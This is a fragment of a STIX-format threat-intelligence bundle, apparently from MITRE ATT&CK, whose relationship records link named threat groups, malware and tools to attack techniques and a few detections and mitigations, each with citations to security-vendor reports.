["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1aee1049-89be-45b8-ae2f-83bf4e35d5a3", "type": "relationship", "created": "2019-09-24T13:32:51.555Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019."}, {"source_name": "Cisco Group 72", "description": "Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.", "url": "http://blogs.cisco.com/security/talos/threat-spotlight-group-72"}], "modified": "2022-01-05T16:34:01.656Z", "description": "(Citation: Talos ZxShell Oct 2014)(Citation: Cisco Group 72)", "relationship_type": "uses", "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", "target_ref": "malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1aee2c50-660a-42ee-816d-5823ade525f3", "type": "relationship", "created": "2021-12-01T17:59:26.258Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "modified": "2021-12-01T17:59:26.258Z", "description": "[Gelsemium](https://attack.mitre.org/software/S0666) has the ability to use TCP and UDP in C2 communications.(Citation: ESET Gelsemium June 2021)", "relationship_type": "uses", "source_ref": "malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1af12953-edeb-4678-91e4-7c70000ee6c3", "type": "relationship", "created": "2020-02-20T22:10:20.630Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-20T22:10:20.630Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9", "target_ref": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b023598-278c-4a0f-b058-4d169b51f45a", "type": "relationship", "created": "2019-09-18T18:48:48.738Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.", "source_name": "Fysbis Palo Alto Analysis"}], "modified": "2020-03-16T16:48:48.111Z", "description": "[Fysbis](https://attack.mitre.org/software/S0410) can perform keylogging.(Citation: Fysbis Palo Alto Analysis) ", "relationship_type": "uses", "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b03ba23-cbf3-4a77-8c8b-233a19e42a0c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Bisonal July 2018", "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"}, {"source_name": "Kaspersky CactusPete Aug 2020", "url": "https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/", "description": "Zykov, K. (2020, August 13). CactusPete APT group\u2019s updated Bisonal backdoor. Retrieved May 5, 2021."}, {"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}], "modified": "2022-01-26T21:16:54.723Z", "description": "[Bisonal](https://attack.mitre.org/software/S0268) can obtain a list of running processes on the victim\u2019s machine.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020)", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1b0ca110-bb1d-434d-a271-6574fdb11723", "created": "2023-01-11T21:36:04.020Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Malwarebytes AvosLocker Jul 2021", "description": "Hasherezade. (2021, July 23). AvosLocker enters the ransomware scene, asks for partners. Retrieved January 11, 2023.", "url": "https://www.malwarebytes.com/blog/threat-intelligence/2021/07/avoslocker-enters-the-ransomware-scene-asks-for-partners"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-15T16:22:39.655Z", "description": "[AvosLocker](https://attack.mitre.org/software/S1053) has used a variety of Windows API calls, including `NtCurrentPeb` and `GetLogicalDrives`.(Citation: Malwarebytes AvosLocker Jul 2021)", "relationship_type": "uses", "source_ref": "malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b1027ff-81d2-4ae9-85ac-0d886dea8a04", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.group-ib.com/blog/cobalt", "description": "Matveeva, V. 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Retrieved October 10, 2018.", "source_name": "Group IB Cobalt Aug 2017"}], "modified": "2020-03-28T21:25:27.362Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has created Windows tasks to establish persistence.(Citation: Group IB Cobalt Aug 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b141c9e-a679-40c7-ad7b-ac40ac586471", "type": "relationship", "created": "2017-05-31T21:33:27.052Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", "description": "FireEye Threat Intelligence. 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Retrieved June 18, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"}, {"source_name": "Talos Seduploader Oct 2017", "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T03:02:44.009Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) encrypted a .dll payload using RTL and a custom encryption algorithm. [APT28](https://attack.mitre.org/groups/G0007) has also obfuscated payloads with base64, XOR, and RC4.(Citation: Bitdefender APT28 Dec 2015)(Citation: Unit 42 Sofacy Feb 2018)(Citation: Palo Alto Sofacy 06-2018)(Citation: Talos Seduploader Oct 2017)(Citation: Accenture SNAKEMACKEREL Nov 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1b16de68-c627-4f38-a85f-bbba2fef7e20", "created": "2022-03-24T21:39:40.293Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can load additional files and tools, including [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub SILENTTRINITY Modules July 2019)", "modified": "2022-04-18T21:19:12.040Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1b1a7abf-72bc-44fa-8f90-4321003f0553", "created": "2023-03-29T15:55:54.119Z", "revoked": false, "external_references": [{"source_name": "Lunghi Iron Tiger Linux", "description": "Daniel Lunghi. (2023, March 1). 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Retrieved March 20, 2023.", "url": "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-29T15:55:54.119Z", "description": "[SysUpdate](https://attack.mitre.org/software/S0663) has used Base64 to encode its C2 traffic.(Citation: Lunghi Iron Tiger Linux) ", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b1e5d59-20a4-4915-a553-4db606d8121d", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Gorgon Group Aug 2018", "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}], "modified": "2019-07-25T14:56:46.710Z", "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can decode contents from a payload that was Base64 encoded and write the contents to a file.(Citation: Unit 42 Gorgon Group Aug 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b207904-5be1-4bd8-8f08-a9b31bddc4c8", "type": "relationship", "created": "2022-03-30T14:26:51.852Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.852Z", "description": "Monitor for newly executed processes conducting malicious activity ", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b215137-e9e7-4022-af63-8d932c384eb2", "type": "relationship", "created": "2019-05-28T19:08:05.735Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Proofpoint Staff. (2018, March 7). Leaked Ammyy Admin Source Code Turned into Malware. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware", "source_name": "Proofpoint TA505 Mar 2018"}, {"source_name": "Trend Micro TA505 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}, {"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-05-29T20:09:49.523Z", "description": "(Citation: Proofpoint TA505 Mar 2018)(Citation: Trend Micro TA505 June 2019)(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "malware--432555de-63bf-4f2a-a3fa-f720a4561078", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1b255a88-0189-4afa-a69f-fa99127e693e", "created": "2022-05-25T19:42:27.787Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DFIR Phosphorus November 2021", "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.", "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}, {"source_name": "DFIR Report APT35 ProxyShell March 2022", "description": "DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.", "url": "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-05T20:27:44.518Z", "description": "(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b27a43c-3508-4f21-9f39-c05b2be84cb6", "type": "relationship", "created": "2019-04-23T15:49:35.570Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.", "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", "source_name": "ESET Ebury Feb 2014"}], "modified": "2020-03-17T01:01:41.602Z", "description": "[Ebury](https://attack.mitre.org/software/S0377) has used DNS requests over UDP port 53 for C2.(Citation: ESET Ebury Feb 2014)\t", "relationship_type": "uses", "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b27cec5-241a-4c2e-a3db-e9cea241496c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf", "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.", "source_name": "Operation Quantum Entanglement"}, {"description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools"}], "modified": "2021-01-25T15:43:45.770Z", "description": "[HTRAN](https://attack.mitre.org/software/S0040) can proxy TCP socket connections to obfuscate command and control infrastructure.(Citation: Operation Quantum Entanglement)(Citation: NCSC Joint Report Public Tools)", "relationship_type": "uses", "source_ref": "tool--d5e96a35-7b0b-4c6a-9533-d63ecbda563e", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b29f7b8-78fe-4bae-b943-59641a12a023", "type": "relationship", "created": "2020-04-28T12:47:25.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos PoetRAT April 2020", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "description": "Mercer, W, et al. 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From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf", "source_name": "Kaspersky StoneDrill 2017"}], "modified": "2019-06-07T20:52:36.939Z", "description": "[StoneDrill](https://attack.mitre.org/software/S0380) has been observed deleting the temporary files once they fulfill their task.(Citation: Kaspersky StoneDrill 2017)\t", "relationship_type": "uses", "source_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b3cc0cb-de43-405b-bfa5-f0bececabf8c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "F-Secure The Dukes", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. 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Retrieved January 20, 2021."}], "modified": "2021-03-11T23:13:04.856Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) can collect the victim's computer name, hostname and adapter information to create a unique identifier.(Citation: Securelist Dtrack)(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b4baaaa-f08e-4f67-8d32-a7facb21eb7b", "type": "relationship", "created": "2020-12-29T20:23:05.311Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Pay2Kitten December 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", "description": "ClearSky. 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Retrieved May 20, 2020."}], "modified": "2020-05-21T12:59:00.698Z", "description": "(Citation: TrendMicro Tropic Trooper May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--1b63a6ee-50e9-4c72-8654-1d879f4eb88e", "created": "2023-03-31T17:12:06.077Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-11T03:22:31.793Z", "description": "Restrict Registry permissions to disallow the modification of sensitive Registry keys such as `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order`.", "relationship_type": "mitigates", "source_ref": "course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9", "target_ref": "attack-pattern--90c4a591-d02d-490b-92aa-619d9701ac04", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1b6f0ec5-55d5-4aee-a90b-30238599d13c", "type": "relationship", "created": "2021-06-30T17:12:55.025Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Chaes Nov 2020", "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf", "description": "Salem, E. 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Retrieved June 29, 2021."}], "modified": "2021-07-02T14:27:03.304Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) can use a file exfiltration tool to upload specific files to Dropbox.(Citation: Bitdefender Naikon April 2021)\t \n", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1bccb381-1d71-4c9a-8785-2ada562234f2", "type": "relationship", "created": "2020-03-13T20:36:57.505Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-13T20:36:57.505Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1bce55fa-b34e-4522-9422-85bf3fdda889", "type": "relationship", "created": "2020-12-17T16:56:47.267Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Agent Tesla April 2020", "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", "description": "Arsene, L. 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Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Aoqin Dragon](https://attack.mitre.org/groups/G1007) has lured victims into opening weaponized documents, fake external drives, and fake antivirus to execute malicious payloads.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-14T19:37:23.675Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--64d5f96a-f121-4d19-89f6-6709f5c49faa", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c30f3e0-f621-4e59-934d-f4091cb9eca5", "type": "relationship", "created": "2020-08-04T16:03:24.341Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Sodin July 2019", "url": "https://securelist.com/sodin-ransomware/91473/", "description": "Mamedov, O, et al. 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Retrieved August 5, 2020."}, {"source_name": "Intel 471 REvil March 2020", "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."}, {"source_name": "Picus Sodinokibi January 2020", "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware", "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."}, {"source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}, {"source_name": "Tetra Defense Sodinokibi March 2020", "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis", "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."}], "modified": "2021-04-06T14:42:52.649Z", "description": "[REvil](https://attack.mitre.org/software/S0496) can encrypt files on victim systems and demands a ransom to decrypt the files.(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee REvil October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--1c327eb2-e0af-45c2-a9ea-784252ad34b0", "type": "relationship", "created": "2021-09-29T22:24:15.747Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}], "modified": "2021-09-29T22:24:15.747Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has identified security software, configurations, defensive tools, and sensors installed on a compromised system.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", 